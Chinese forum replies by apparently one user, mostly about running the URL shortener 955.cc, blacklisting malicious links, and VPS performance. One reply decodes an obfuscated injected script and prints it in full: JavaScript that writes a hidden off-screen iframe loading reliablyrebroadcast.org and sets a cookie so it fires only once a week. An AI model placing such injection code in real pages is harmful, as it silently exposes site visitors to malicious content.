我冲的100刀当时续费了两个域名，现在还有80多刀。

@won 以前线上用Linode跑magento，超过100%是常事……

cat /proc/cpuinfo

最后一句：
ww是window
"e"+vl是eval
z是
function gra(a,b){return Math.floor(Math.random()*(b-a+1))+a;}
function rs(){return Math.random().toString(36).substring(5);}
if(navigator.cookieEnabled && document.cookie.indexOf('testcookie1=')==-1){
var stnm=rs();
document.write('<style>.s'+stnm+' { position:absolute; left:-'+gra(600,1000)+'px; top:-'+gra(600,1000)+'px; }</style> <div class="s'+stnm+'"><iframe src="http://reliablyrebroadcast.org/ad/feed.php" width="'+gra(300,600)+'" height="'+gra(300,600)+'"></iframe></div>');
var exp=new Date();exp.setDate(exp.getDate()+7);
document.cookie='testcookie1='+rs()+'; expires='+exp.toGMTString();
}

直接chrome里console.log就出来了。

Linux下cpu超120%很正常，有几个CPU就是百分之几百。

@HowardMei 恶意网址有个特点：打一枪就跑，很多甚至用免费试用主机的三级域名来干，或者是免费域名，几天就失效。如果自己维护恶意网址库，费力且没用。
目前的安全机制是：
- 黑名单屏蔽。
- 在这么多安全软件里，就金山会用最快的速度来屏蔽。一开始三天两头要投诉(好在人工响应速度很快)，后来以最高优先级查金山的API后基本没这问题了。
- CROND每天扫描新加+热门网址(查询其他安全服务商)

@wenbinwu 还有是扫描队列（用户提交的恶意网址会导致杀毒软件直接屏蔽短网址，一定条件下会触发扫描，也配合了redis的使用）
其他就没了，主要是各类统计数据。
不到一定量无需考虑优化，等到有问题再解决也不迟，最重要的是最快速度出早期产品，由用户行为来决定开发的方向。

当然，个人觉得 @multiple1902 提供的答案很赞，提前考虑，后期会比较省事；不过不建议费太多时间在上面，除非你的目的是为了练手而不是产品自身。

人家一个月还没上的都没说什么呢。

虽然上面跑了些服务，不过平时负载都非常低，可以做个参考。

盛大云，华东，微型
http://gist.github.com/4412889

阿里云，标准B型
http://gist.github.com/4413021

参照：Mbp 2011,更换SSD
http://gist.github.com/4412907

@LazyZhu 感谢推荐。

目前个人倾向于采用 Tornado + MongoDB（python 下的驱动有 bitly 异步的封装 asyncmongo），临时热点数据还是用 redis 顶。

异步对于短网址性能提升很明显(好像bitly用的也是Tornado + MongoDB方案)。

几个月来不断迭代修改开发的作品 955.cc 。当前基于php+redis+mysql，计划迁移到Tornado+Redis+MongoDB。

目前有23万条网址。本来是纯php+MySQL的代码，到一定程度后扛不住了，换了redis后立竿见影。
记录访问次数、访问IP、来路，用Redis的过期策略刚刚好（要历史数据就不够了）。

http://ww1.sinaimg.cn/large/a74ecc4cjw1e0bxotp1ixj.jpg

另外bitly也开源了一部分组件： https://github.com/bitly

@tarsier 邮件联系 shiny#meettea.com ，不需要付费，只是希望不要长期占用大量带宽，否则被限速了就不好玩了。

有问题的联系我吧…… 我试试。 shiny#meettea.com

京东的平台商家不靠谱，曾经买了三罐茶叶居然有一罐是打开的，一半茶叶被取出了。

喜欢这首 http://www.xiami.com/song/1769893397

我怎么没问题呢？